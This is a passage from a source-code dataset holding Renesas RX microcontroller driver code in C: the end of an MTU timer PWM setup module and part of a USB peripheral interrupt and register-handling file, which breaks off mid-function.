devices.\n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description \n* : 23.09.2014 1.00 First Release\n***********************************************************************************************************************/\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n#include \"platform.h\"\n#include \"r_mtu_rx_if.h\"\n/* Internal definitions. */\n#include \"r_mtu_rx_private.h\"\n\n#if MTU_CFG_USE_PWM == 1\n/***********************************************************************************************************************\nTypedef definitions\n***********************************************************************************************************************/\nenum\n{\n MTU_TMDR_NORMAL = 0x00,\n MTU_TMDR_PWM_MODE_1 = 0x02,\n MTU_TMDR_PWM_MODE_2 = 0x03,\n MTU_TMDR_PHASE_COUNTING_1 = 0x04,\n MTU_TMDR_PHASE_COUNTING_2 = 0x05,\n MTU_TMDR_PHASE_COUNTING_3 = 0x06,\n MTU_TMDR_PHASE_COUNTING_4 = 0x07,\n MTU_TMDR_RESET_SYNC_PWM = 0x08,\n MTU_TMDR_COMP_PWM_1 = 0x0D,\n MTU_TMDR_COMP_PWM_2 = 0x0E,\n MTU_TMDR_COMP_PWM_3 = 0x0F,\n MTU_TMDR_BFA = 0x10,\n MTU_TMDR_BFB = 0x20,\n MTU_TMDR_BFE = 0x40\n};\n\n/***********************************************************************************************************************\nMacro definitions\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nPrivate global variables\n***********************************************************************************************************************/\nstatic mtu_pwm_chnl_settings_t * g_mtu_pwm_settings[MTU_CHANNEL_MAX] = {0}; // Pointers to timer configuration data\n\n/***********************************************************************************************************************\nPrivate local function declarations\n***********************************************************************************************************************/\nstatic mtu_err_t mtu_setup_pwm_mode1(uint8_t chan, mtu_timer_num_t pwm_num,\n mtu_pwm_settings_t *p_pwm_settings, uint32_t cycle_freq, uint16_t pclk_div);\nstatic mtu_err_t mtu_setup_pwm_mode2(uint8_t chan, mtu_pwm_chnl_settings_t * pconfig, uint16_t pclk_div);\n\n\n/***********************************************************************************************************************\nAPI function definitions\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* Function Name: R_MTU_PWM_Open\n* Description : This function applies power to the MTU channel,\n* initializes the associated registers to prepare for compare/match timer operations,\n* and applies user-configurable options.\n* Arguments : channel -\n* Number of the MTU channel to be initialized\n* pconfig -\n* Pointer to MTU channel configuration data structure.\n* pcallback -\n* Pointer to function called from interrupt\n* Return Value : MTU_SUCCESS-\n* Successful; channel initialized\n* MTU_ERR_BAD_CHAN-\n* Channel number is invalid for part\n* MTU_ERR_CH_NOT_CLOSED-\n* Channel currently in operation; Perform R_MTU_Close() first\n* MTU_ERR_NULL_PTR-\n* pconfig pointer is NULL\n* MTU_ERR_ARG_RANGE-\n* The pconfig structure contains a value that exceeds limits.\n* MTU_ERR_INVALID_ARG-\n* An element of the pconfig structure contains an invalid value.\n* MTU_ERR_LOCK-\n* The lock could not be acquired. The channel is busy.\n***********************************************************************************************************************/\nmtu_err_t R_MTU_PWM_Open (mtu_channel_t channel,\n mtu_pwm_chnl_settings_t *pconfig,\n void (*pcallback)(void *pdata))\n{\n bool result;\n uint8_t pclk_divisor_index;\n uint16_t pclk_divisor;\n uint8_t tcr_bits = 0;\n mtu_handle_t my_handle;\n\n #if MTU_CFG_REQUIRE_LOCK == 1\n bool lock_result = false;\n #endif\n\n #if MTU_CFG_PARAM_CHECKING_ENABLE == 1\n if (MTU_CHANNEL_MAX <= channel) // First check for channel number out of range\n {\n return MTU_ERR_BAD_CHAN;\n }\n\n if (NULL == g_mtu_handles[channel]) // Now check that channel has been configured for build\n {\n return MTU_ERR_BAD_CHAN;\n }\n\n if (NULL == pconfig)\n {\n return MTU_ERR_NULL_PTR;\n }\n\n /* Check to see if the peripheral has already been initialized. */\n if (g_mtu_channel_mode[channel])\n {\n return MTU_ERR_CH_NOT_CLOSED; // This channel has already been initialized.\n }\n\n if ((MTU_CHANNEL_1 == channel) || (MTU_CHANNEL_2 == channel))\n {\n if((MTU_ACTION_NONE != pconfig->pwm_c.actions)\n && (MTU_ACTION_NONE != pconfig->pwm_d.actions))\n {\n return MTU_ERR_INVALID_ARG; // Resource not present on these channels.\n }\n }\n\n if ((MTU_PWM_MODE_1 != pconfig->pwm_mode) && (MTU_PWM_MODE_2 != pconfig->pwm_mode))\n {\n return MTU_ERR_INVALID_ARG;\n }\n\n if ((MTU_CHANNEL_3 == channel) || (MTU_CHANNEL_4 == channel))\n {\n if (MTU_PWM_MODE_2 == pconfig->pwm_mode)\n {\n return MTU_ERR_INVALID_ARG; // PWM mode 2 not available on these channels.\n }\n }\n\n if ((MTU_ACTION_NONE == pconfig->pwm_a.actions)\n && (MTU_ACTION_NONE == pconfig->pwm_b.actions)\n && (MTU_ACTION_NONE == pconfig->pwm_c.actions)\n && (MTU_ACTION_NONE == pconfig->pwm_d.actions))\n {\n return MTU_ERR_INVALID_ARG; // Must define something to do!\n }\n\n switch (pconfig->clock_src.source) // Check counter clock source\n {\n case MTU_CLK_SRC_INTERNAL:\n break;\n\n /* Other than internal clocking source: */\n case MTU_CLK_SRC_EXT_MTCLKA:\n case MTU_CLK_SRC_EXT_MTCLKB:\n case MTU_CLK_SRC_EXT_MTCLKC:\n case MTU_CLK_SRC_EXT_MTCLKD:\n {\n /* Not all channels have this setting. */\n if(MTU_NOT_SUPP == g_chnl_ext_clks[channel][pconfig->clock_src.source])\n {\n return MTU_ERR_INVALID_ARG; // Not supported by this channel\n }\n }\n break;\n\n default:\n {\n return MTU_ERR_INVALID_ARG;\n }\n }\n\n if (0 == pconfig->cycle_freq) // don't allow 0 frequency.\n {\n return MTU_ERR_INVALID_ARG;\n }\n\n /* Check clear source selection. */\n if (MTU_PWM_MODE_2 == pconfig->pwm_mode)\n {\n switch (pconfig->clear_src)\n {\n case MTU_CLR_DISABLED:\n case MTU_CLR_TIMER_A:\n case MTU_CLR_TIMER_B:\n case MTU_CLR_TIMER_C:\n case MTU_CLR_TIMER_D:\n case MTU_CLR_SYNC:\n { /* Find the bits to set this in the table. Not all channels have this setting. */\n if(MTU_NOT_SUPP == g_chnl_clear_src[channel][pconfig->clear_src])\n {\n return MTU_ERR_INVALID_ARG; // Not supported by this channel\n }\n }\n break;\n default:\n {\n return MTU_ERR_INVALID_ARG;\n }\n }\n }\n #endif // MTU_CFG_PARAM_CHECKING_ENABLE\n\n #if MTU_CFG_REQUIRE_LOCK == 1\n /* Attempt to acquire lock for this MTU channel. Prevents reentrancy conflict. */\n lock_result = R_BSP_HardwareLock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n\n if(false == lock_result)\n {\n return MTU_ERR_LOCK; /* The R_MTU_Timer_Create function is currently locked. */\n }\n #endif\n\n my_handle = g_mtu_handles[channel];\n\n g_mtu_pwm_settings[channel] = pconfig; // Save a copy of the pointer to the user's config structure.\n\n /* ICU settings. */\n mtu_interrupts_disable(channel);\n mtu_interrupts_clear(channel);\n *my_handle->regs.ipr = my_handle->priority; // Set the priority register from config.h value.\n\n power_on_off(MTU_POWER_ON); // Make sure MTU channel is powered on.\n\n mtu_channel_clear(channel); // Clear the registers and state variables for this channel.\n\n /* Select counter clearing source */\n /* If PWM Mode1 then clearing source must be either A or C. */\n if (MTU_PWM_MODE_1 == pconfig->pwm_mode)\n {\n /* Default. */\n if (MTU_ACTION_NONE != pconfig->pwm_a.actions)\n {\n tcr_bits = g_chnl_clear_src[channel][MTU_CLR_TIMER_A];\n g_mtu_channel_clr_src[channel] = MTU_CLR_TIMER_A; // Keep a global copy for ISRs.\n }\n /* Must be using TGRC then. Update if needed. */\n else\n {\n tcr_bits = g_chnl_clear_src[channel][MTU_CLR_TIMER_C];\n g_mtu_channel_clr_src[channel] = MTU_CLR_TIMER_C; // Keep a global copy for ISRs.\n }\n }\n else // mode 2 then\n {\n\n tcr_bits = g_chnl_clear_src[channel][pconfig->clear_src]; // Select the clear source bits.\n g_mtu_channel_clr_src[channel] = pconfig->clear_src; // Keep a global copy for ISRs.\n } // mode2\n\n /* Select either internal clock divisor or external counter clock source. */\n switch (pconfig->clock_src.source)\n {\n case MTU_CLK_SRC_INTERNAL:\n {\n /* calculate clock divisor based on target frequency or period. */\n result = mtu_calc_clock_divisor(channel, &pclk_divisor_index, pconfig->cycle_freq);\n\n if(true == result)\n {\n tcr_bits |= g_chnl_clk_divs[channel][pclk_divisor_index]; // Save divisor bits for later.\n pclk_divisor = g_mtu_clock_divisors[pclk_divisor_index];\n }\n else\n {\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n return MTU_ERR_ARG_RANGE; // Could not obtain requested frequency.\n }\n }\n break;\n /* Other than internal clocking source: */\n case MTU_CLK_SRC_EXT_MTCLKA:\n case MTU_CLK_SRC_EXT_MTCLKB:\n case MTU_CLK_SRC_EXT_MTCLKC:\n case MTU_CLK_SRC_EXT_MTCLKD:\n { /* Find the bits to set this in the table. */\n tcr_bits |= g_chnl_ext_clks[channel][pconfig->clock_src.source];\n }\n break;\n\n default:\n break;\n }\n\n tcr_bits |= pconfig->clock_src.clock_edge; // Set clock active edge.\n *my_handle->regs.tcr = tcr_bits; // Copy the completed setting to the TCR register.\n\n /* Set up PWM mode. */\n if (MTU_PWM_MODE_1 == pconfig->pwm_mode)\n {\n *my_handle->regs.tmdr = MTU_TMDR_PWM_MODE_1; // Set the channel mode register.\n\n /* Select waveform output levels. */\n if (MTU_ACTION_NONE != pconfig->pwm_a.actions)\n {\n mtu_setup_pwm_mode1(channel, MTU_TIMER_A, &(pconfig->pwm_a), pconfig->cycle_freq, pclk_divisor);\n mtu_setup_pwm_mode1(channel, MTU_TIMER_B, &(pconfig->pwm_b), pconfig->cycle_freq, pclk_divisor);\n }\n if (MTU_ACTION_NONE != pconfig->pwm_c.actions)\n {\n mtu_setup_pwm_mode1(channel, MTU_TIMER_C, &(pconfig->pwm_c), pconfig->cycle_freq, pclk_divisor);\n mtu_setup_pwm_mode1(channel, MTU_TIMER_D, &(pconfig->pwm_d), pconfig->cycle_freq, pclk_divisor);\n }\n }\n else // Must be mode 2\n {\n *my_handle->regs.tmdr = MTU_TMDR_PWM_MODE_2; // Set the channel mode register.\n /* Set up waveform output levels in TIORs and set TGR counts. */\n mtu_setup_pwm_mode2(channel, pconfig, pclk_divisor);\n }\n\n g_mtu_channel_mode[channel] = MTU_MODE_COMPARE_MATCH; // Tag the channel is in use for compare match.\n g_num_channels_in_use++; // Add this channel to the count.\n *g_mtu_handles[channel]->p_callback = pcallback;\n\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n\n return MTU_SUCCESS; // Ready to start PWM operation now with a start command.\n}\n/* end of function R_MTU_Timer_Create(). */\n\n\n/***********************************************************************************************************************\nPrivate local function definitions\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* Function Name: mtu_setup_pwm_mode1\n* Description :\n* Arguments :\n* Return Value : none\n***********************************************************************************************************************/\nstatic mtu_err_t mtu_setup_pwm_mode1(uint8_t chan, mtu_timer_num_t pwm_num,\n mtu_pwm_settings_t *p_pwm_settings, uint32_t cycle_freq, uint16_t pclk_div)\n{\n uint16_t tgr_value;\n uint32_t cycle_tgr;\n uint32_t duty;\n mtu_handle_t handle = g_mtu_handles[chan];\n mtu_err_t result = MTU_SUCCESS;\n volatile __evenaccess unsigned short *my_tgr = handle->regs.tgra + pwm_num; // Create a Base TGR address pointer\n\n if ((MTU_TIMER_A == pwm_num) || (MTU_TIMER_C == pwm_num)) // TGRA and TGRC have cycle setting\n {\n if(MTU_CLK_SRC_INTERNAL == g_mtu_pwm_settings[chan]->clock_src.source)\n {\n /* Set compare match register with the value calculated from requested frequency. */\n tgr_value = mtu_calc_tgr_ticks(pclk_div, cycle_freq);\n\n if(0 != tgr_value)\n {\n *my_tgr = tgr_value;\n }\n else\n {\n return MTU_ERR_ARG_RANGE; // Could not obtain requested frequency.\n }\n }\n else\n {\n /* External clock source. Use cycle_freq as direct TGR count. */\n *my_tgr = cycle_freq;\n }\n }\n else // must be TGRB or TGRD, so this is duty setting.\n {\n /* If this is TGRB then cycle is in TGRA. If this is TGRD then cycle is in TGRC */\n cycle_tgr = *(my_tgr - 1);\n duty = p_pwm_settings->duty;\n\n /* Calculate TGR value from duty percentage. Percentage is expressed in 10ths for resolution. */\n *my_tgr = (uint16_t)((cycle_tgr * duty)/1000);\n }\n\n /* Set up actions to perform on compare match. */\n if(MTU_ACTION_OUTPUT & p_pwm_settings->actions) // Output to a pin\n {\n if (MTU_TIMER_A == pwm_num)\n {\n *handle->regs.tiorh |= p_pwm_settings->outputs; // Set bits in lower nibble\n #ifndef BSP_MCU_RX110\n if (MTU_CHANNEL_4 == chan)\n {\n MTU.TOER.BIT.OE4A = 1; // Must also turn on Timer Output Master Enable Register for this channel.\n }\n #endif\n }\n else if (MTU_TIMER_B == pwm_num)\n {\n *handle->regs.tiorh |= (p_pwm_settings->outputs << 4); // Move bits to upper nibble\n /* Must also turn on Timer Output Master Enable Register for these channels. */\n #ifndef BSP_MCU_RX110\n if (MTU_CHANNEL_3 == chan)\n {\n MTU.TOER.BIT.OE3B = 1;\n }\n if (MTU_CHANNEL_4 == chan)\n {\n MTU.TOER.BIT.OE4B = 1;\n }\n #endif\n }\n else if (MTU_TIMER_C == pwm_num)\n {\n *handle->regs.tiorl |= p_pwm_settings->outputs; // Set bits in lower nibble\n #ifndef BSP_MCU_RX110\n if (MTU_CHANNEL_4 == chan)\n {\n MTU.TOER.BIT.OE4C = 1; // Must also turn on Timer Output Master Enable Register for this channel.\n }\n #endif\n }\n else\n {\n *handle->regs.tiorl |= (p_pwm_settings->outputs << 4); // Move bits to upper nibble\n\n #ifndef BSP_MCU_RX110\n /* Must also turn on Timer Output Master Enable Register for these channels. */\n if (MTU_CHANNEL_3 == chan)\n {\n MTU.TOER.BIT.OE3D = 1;\n }\n if (MTU_CHANNEL_4 == chan)\n {\n MTU.TOER.BIT.OE4D = 1;\n }\n #endif\n }\n }\n\n /* Set up more actions to perform on compare match. */\n if((MTU_ACTION_INTERRUPT & p_pwm_settings->actions)\n || (MTU_ACTION_CALLBACK & p_pwm_settings->actions)) // Request an interrupt\n {\n g_mtu_tgi_icu_en_flags[chan][pwm_num] = 1; // Set a software control flag\n\n if (MTU_ACTION_CALLBACK & p_pwm_settings->actions)\n {\n g_mtu_tgr_callbacks[chan][pwm_num] = 1; // Do the callback for this interrupt.\n }\n }\n\n if (MTU_ACTION_TRIGGER_ADC & p_pwm_settings->actions)\n {\n *handle->regs.tier |= MTU_ADC_TRIG; // Set ADC TTGE trigger bit in MTU register.\n }\n\n *handle->regs.tier |= (uint8_t)(1 << pwm_num); // Always set interrupt enable bit in MTU register.\n\n /* Set repeat mode if option selected and this TGR is clear source.*/\n if (MTU_ACTION_REPEAT & p_pwm_settings->actions)\n {\n g_mtu_channel_repeats[chan] = 1; // Continuous running\n }\n\n return result;\n}\n\n/***********************************************************************************************************************\n* Function Name: mtu_setup_pwm_mode2\n* Description :\n* Arguments :\n* Return Value : none\n***********************************************************************************************************************/\nstatic mtu_err_t mtu_setup_pwm_mode2(uint8_t chan, mtu_pwm_chnl_settings_t * pconfig, uint16_t pclk_div)\n{\n uint32_t cycle_tgr = 0;\n uint32_t duty;\n uint8_t i;\n mtu_handle_t handle = g_mtu_handles[chan];\n mtu_err_t result = MTU_SUCCESS;\n volatile __evenaccess unsigned short *my_tgr; // Create a Base TGR address pointer\n mtu_pwm_settings_t * pwm_settings[] =\n {\n &(pconfig->pwm_a),\n &(pconfig->pwm_b),\n &(pconfig->pwm_c),\n &(pconfig->pwm_d)\n };\n\n if(MTU_CLK_SRC_INTERNAL == g_mtu_pwm_settings[chan]->clock_src.source)\n {\n cycle_tgr = mtu_calc_tgr_ticks(pclk_div, pconfig->cycle_freq);\n }\n else\n {\n /* External clock source. Use cycle_freq value as actual TGR (tick) count. */\n cycle_tgr = pconfig->cycle_freq;\n }\n\n for (i = MTU_TIMER_A; i < MTU_NUM_TIMERS; i++)\n {\n my_tgr = handle->regs.tgra + i;\n\n if(i == g_mtu_pwm_settings[chan]->clear_src) /* This is the cycle TGR. */\n {\n if(0 != cycle_tgr)\n {\n *my_tgr = cycle_tgr;\n }\n else\n {\n return MTU_ERR_ARG_RANGE; // Could not obtain requested frequency.\n }\n }\n else // This is a duty TGR\n {\n duty = pwm_settings[i]->duty;\n\n /* Calculate TGR value from duty percentage. Percentage is expressed in 10ths for resolution. */\n *my_tgr = (uint16_t)((cycle_tgr * duty)/1000);\n }\n }\n\n /* Now set up actions to perform on compare match. */\n for (i = MTU_TIMER_A; i < MTU_NUM_TIMERS; i++)\n {\n if(MTU_ACTION_OUTPUT & pwm_settings[i]->actions) // Output to a pin\n {\n if (MTU_TIMER_A == i)\n {\n *handle->regs.tiorh |= pwm_settings[i]->outputs; // Set bits in lower nibble\n #ifndef BSP_MCU_RX110\n if (MTU_CHANNEL_4 == chan)\n {\n MTU.TOER.BIT.OE4A = 1; // Must also turn on Timer Output Master Enable Register for this channel.\n }\n #endif\n }\n else if (MTU_TIMER_B == i)\n {\n *handle->regs.tiorh |= (pwm_settings[i]->outputs << 4); // Move bits to upper nibble\n /* Must also turn on Timer Output Master Enable Register for these channels. */\n #ifndef BSP_MCU_RX110\n if (MTU_CHANNEL_3 == chan)\n {\n MTU.TOER.BIT.OE3B = 1;\n }\n if (MTU_CHANNEL_4 == chan)\n {\n MTU.TOER.BIT.OE4B = 1;\n }\n #endif\n }\n else if (MTU_TIMER_C == i)\n {\n *handle->regs.tiorl |= pwm_settings[i]->outputs; // Set bits in lower nibble\n #ifndef BSP_MCU_RX110\n if (MTU_CHANNEL_4 == chan)\n {\n MTU.TOER.BIT.OE4C = 1; // Must also turn on Timer Output Master Enable Register for this channel.\n }\n #endif\n }\n else\n {\n *handle->regs.tiorl |= (pwm_settings[i]->outputs << 4); // Move bits to upper nibble\n\n #ifndef BSP_MCU_RX110\n /* Must also turn on Timer Output Master Enable Register for these channels. */\n if (MTU_CHANNEL_3 == chan)\n {\n MTU.TOER.BIT.OE3D = 1;\n }\n if (MTU_CHANNEL_4 == chan)\n {\n MTU.TOER.BIT.OE4D = 1;\n }\n #endif\n }\n }\n /* Set up more actions to perform on compare match. */\n if((MTU_ACTION_INTERRUPT & pwm_settings[i]->actions)\n || (MTU_ACTION_CALLBACK & pwm_settings[i]->actions)) // Request an interrupt\n {\n g_mtu_tgi_icu_en_flags[chan][i] = 1; // Set a software control flag\n\n if (MTU_ACTION_CALLBACK & pwm_settings[i]->actions)\n {\n g_mtu_tgr_callbacks[chan][i] = 1; // Do the callback for this interrupt.\n }\n }\n\n if (MTU_ACTION_TRIGGER_ADC & pwm_settings[i]->actions)\n {\n *handle->regs.tier |= MTU_ADC_TRIG; // Set ADC TTGE trigger bit in MTU register.\n }\n\n *handle->regs.tier |= (uint8_t)(1 << i); // Always set interrupt enable bit in MTU register.\n\n /* Set repeat mode if option selected and this TGR is clear source.*/\n if (MTU_ACTION_REPEAT & pwm_settings[i]->actions)\n {\n g_mtu_channel_repeats[chan] = 1; // Continuous running\n }\n }\n\n return result;\n}\n#endif\n\n" }, { "alpha_fraction": 0.47794586420059204, "alphanum_fraction": 0.4910149872303009, "avg_line_length": 38.108333587646484, "blob_id": "deab57f3d884c4c4aa68cb70299e34baa8f021b0", "content_id": "64c9e3cda95b80fe03d3f770c5341fec4eb87102", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 14079, "license_type": "no_license", "max_line_length": 120, "num_lines": 360, "path": "/r_usb_basic/src/HW/peri/r_usb_preg_abs.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_preg_abs.c\n* Description : Call USB Peripheral register access function\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP)\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nextern uint16_t usb_gpstd_intsts0;\nextern void R_usb_pstd_DeviceInformation(USB_UTR_t *ptr, uint16_t *tbl);\n\n/******************************************************************************\nFunction Name : usb_pstd_InterruptHandler\nDescription : Determine which USB interrupt occurred and report results to \n : the USB_UTR_t argument's ipp, keyword, and status members.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_InterruptHandler(USB_UTR_t *ptr)\n{\n uint16_t intsts0, intenb0, ists0;\n uint16_t brdysts, brdyenb, bsts;\n uint16_t nrdysts, nrdyenb, nsts;\n uint16_t bempsts, bempenb, ests;\n\n /* Register Save */\n intsts0 = ptr->ipp->INTSTS0.WORD;\n brdysts = ptr->ipp->BRDYSTS.WORD;\n nrdysts = ptr->ipp->NRDYSTS.WORD;\n bempsts = ptr->ipp->BEMPSTS.WORD;\n intenb0 = ptr->ipp->INTENB0.WORD;\n brdyenb = ptr->ipp->BRDYENB.WORD;\n nrdyenb = ptr->ipp->NRDYENB.WORD;\n bempenb = ptr->ipp->BEMPENB.WORD;\n \n ptr->keyword = USB_INT_UNKNOWN;\n ptr->status = 0;\n\n /* Interrupt status get */\n ists0 = (uint16_t)(intsts0 & intenb0);\n bsts = (uint16_t)(brdysts & brdyenb);\n nsts = (uint16_t)(nrdysts & nrdyenb);\n ests = (uint16_t)(bempsts & bempenb);\n\n if( (intsts0 & (USB_VBINT|USB_RESM|USB_SOFR|USB_DVST|USB_CTRT|USB_BEMP|USB_NRDY|USB_BRDY)) == 0u )\n {\n return;\n }\n\n /***** Processing USB bus signal *****/\n /***** Resume signal *****/\n if( (ists0 & USB_RESM) == USB_RESM )\n {\n ptr->ipp->INTSTS0.WORD = (uint16_t)~USB_RESM;\n ptr->keyword = USB_INT_RESM;\n }\n /***** Vbus change *****/\n else if( (ists0 & USB_VBINT) == USB_VBINT )\n {\n /* Status clear */\n ptr->ipp->INTSTS0.WORD = (uint16_t)~USB_VBINT;\n ptr->keyword = USB_INT_VBINT;\n }\n /***** SOFR change *****/\n else if( (ists0 & USB_SOFR) == USB_SOFR )\n {\n /* SOFR Clear */\n ptr->ipp->INTSTS0.WORD = (uint16_t)~USB_SOFR;\n ptr->keyword = USB_INT_SOFR;\n }\n\n /***** Processing device state *****/\n /***** DVST change *****/\n else if( (ists0 & USB_DVST) == USB_DVST )\n {\n /* DVST clear */\n ptr->ipp->INTSTS0.WORD = (uint16_t)~USB_DVST;\n ptr->keyword = USB_INT_DVST;\n ptr->status = intsts0;\n }\n\n /***** Processing PIPE0 data *****/\n else if( ((ists0 & USB_BRDY) == USB_BRDY) && ((bsts & USB_BRDY0) == USB_BRDY0) )\n {\n ptr->ipp->BRDYSTS.WORD = (uint16_t)~USB_BRDY0;\n ptr->keyword = USB_INT_BRDY;\n ptr->status = USB_BRDY0;\n }\n else if( ((ists0 & USB_BEMP) == USB_BEMP) && ((ests & USB_BEMP0) == USB_BEMP0) )\n {\n ptr->ipp->BEMPSTS.WORD = (uint16_t)~USB_BEMP0;\n ptr->keyword = USB_INT_BEMP;\n ptr->status = USB_BEMP0;\n }\n else if( ((ists0 & USB_NRDY) == USB_NRDY) && ((nsts & USB_NRDY0) == USB_NRDY0) )\n {\n ptr->ipp->NRDYSTS.WORD = (uint16_t)~USB_NRDY0;\n ptr->keyword = USB_INT_NRDY;\n ptr->status = USB_NRDY0;\n }\n\n /***** Processing setup transaction *****/\n else if( (ists0 & USB_CTRT) == USB_CTRT )\n {\n /* CTSQ bit changes later than CTRT bit for ASSP. */\n /* CTSQ reloading */\n ptr->status = usb_creg_read_intsts( ptr );\n /* USB_CTRT clear */\n ptr->ipp->INTSTS0.WORD = (uint16_t)~USB_CTRT;\n ptr->keyword = USB_INT_CTRT;\n\n if( (uint8_t)(ptr->status & USB_CTSQ) == USB_CS_SQER )\n {\n usb_preg_clr_sts_valid( ptr );\n ptr->keyword = USB_INT_UNKNOWN;\n ptr->status = 0;\n return;\n }\n }\n\n /***** Processing PIPE1-MAX_PIPE_NO data *****/\n /***** EP0-7 BRDY *****/\n else if( (ists0 & USB_BRDY) == USB_BRDY )\n {\n ptr->ipp->BRDYSTS.WORD = (uint16_t)~bsts;\n ptr->keyword = USB_INT_BRDY;\n ptr->status = bsts;\n }\n /***** EP0-7 BEMP *****/\n else if( (ists0 & USB_BEMP) == USB_BEMP )\n {\n ptr->ipp->BEMPSTS.WORD = (uint16_t)~ests;\n ptr->keyword = USB_INT_BEMP;\n ptr->status = ests;\n }\n /***** EP0-7 NRDY *****/\n else if( (ists0 & USB_NRDY) == USB_NRDY )\n {\n ptr->ipp->NRDYSTS.WORD = (uint16_t)~nsts;\n ptr->keyword = USB_INT_NRDY;\n ptr->status = nsts;\n }\n else\n {\n }\n} /* eof usb_pstd_InterruptHandler() */\n\n/******************************************************************************\nFunction Name : usb_pstd_SaveRequest\nDescription : Save received USB command.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SaveRequest(USB_UTR_t *ptr)\n{\n uint16_t buf;\n\n /* Valid clear */\n usb_preg_clr_sts_valid( ptr );\n buf = usb_creg_read_usbreq( ptr );\n\n usb_gpstd_ReqType = (uint16_t)(buf & USB_BMREQUESTTYPE);\n usb_gpstd_ReqTypeType = (uint16_t)(buf & USB_BMREQUESTTYPETYPE);\n usb_gpstd_ReqTypeRecip = (uint16_t)(buf & USB_BMREQUESTTYPERECIP);\n usb_gpstd_ReqRequest = (uint16_t)(buf & USB_BREQUEST);\n\n usb_gpstd_ReqValue = usb_creg_read_usbval( ptr );\n usb_gpstd_ReqIndex = usb_creg_read_usbindx( ptr );\n usb_gpstd_ReqLength = usb_creg_read_usbleng( ptr );\n} /* eof usb_pstd_SaveRequest() */\n\n/******************************************************************************\nFunction Name : usb_pstd_ChkConfigured\nDescription : Check if USB Device is in a CONFIGURED state. \nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : Configuration state (YES/NO)\n******************************************************************************/\nuint16_t usb_pstd_ChkConfigured(USB_UTR_t *ptr)\n{\n uint16_t buf;\n\n buf = usb_creg_read_intsts( ptr );\n /* Device Status - Configured check */\n if( (buf & USB_DVSQ) == USB_DS_CNFG )\n {\n /* Configured */\n return USB_YES;\n }\n else\n {\n /* not Configured */\n return USB_NO;\n }\n} /* eof usb_pstd_ChkConfigured() */\n\n/******************************************************************************\nFunction Name : usb_pstd_InterruptEnable\nDescription : Enable the VBSE interrupt (VBUS), and the DVSE (Device State \n : Transition) and CTRE (Control Transfer Stage Transition) int-\n : errupts.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_InterruptEnable(USB_UTR_t *ptr)\n{\n /* Enable VBSE, DVSE, CTRE */\n usb_creg_set_intenb( ptr, (USB_VBSE | USB_DVSE | USB_CTRE ));\n} /* eof usb_pstd_InterruptEnable() */\n\n/******************************************************************************\nFunction Name : usb_pstd_RemoteWakeup\nDescription : Set the USB peripheral to implement remote wake up.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_RemoteWakeup(USB_UTR_t *ptr)\n{\n uint16_t buf;\n uint16_t dev_info[8];\n\n /* Get USB Device information */\n R_usb_pstd_DeviceInformation(ptr, (uint16_t *)&dev_info );\n\n /* Support remote wakeup ? */\n if( dev_info[4] == USB_YES )\n {\n /* RESM interrupt disable */\n usb_preg_clr_enb_rsme( ptr );\n \n /* External clock enable */\n usb_creg_set_xcke( ptr );\n\n /* RESM status read */\n buf = usb_creg_read_intsts( ptr );\n if( (buf & USB_RESM) != (uint16_t)0 )\n {\n /* RESM status clear */\n usb_preg_clr_sts_resm( ptr );\n }\n else\n {\n if( (buf & USB_DS_SUSP) != (uint16_t)0 )\n 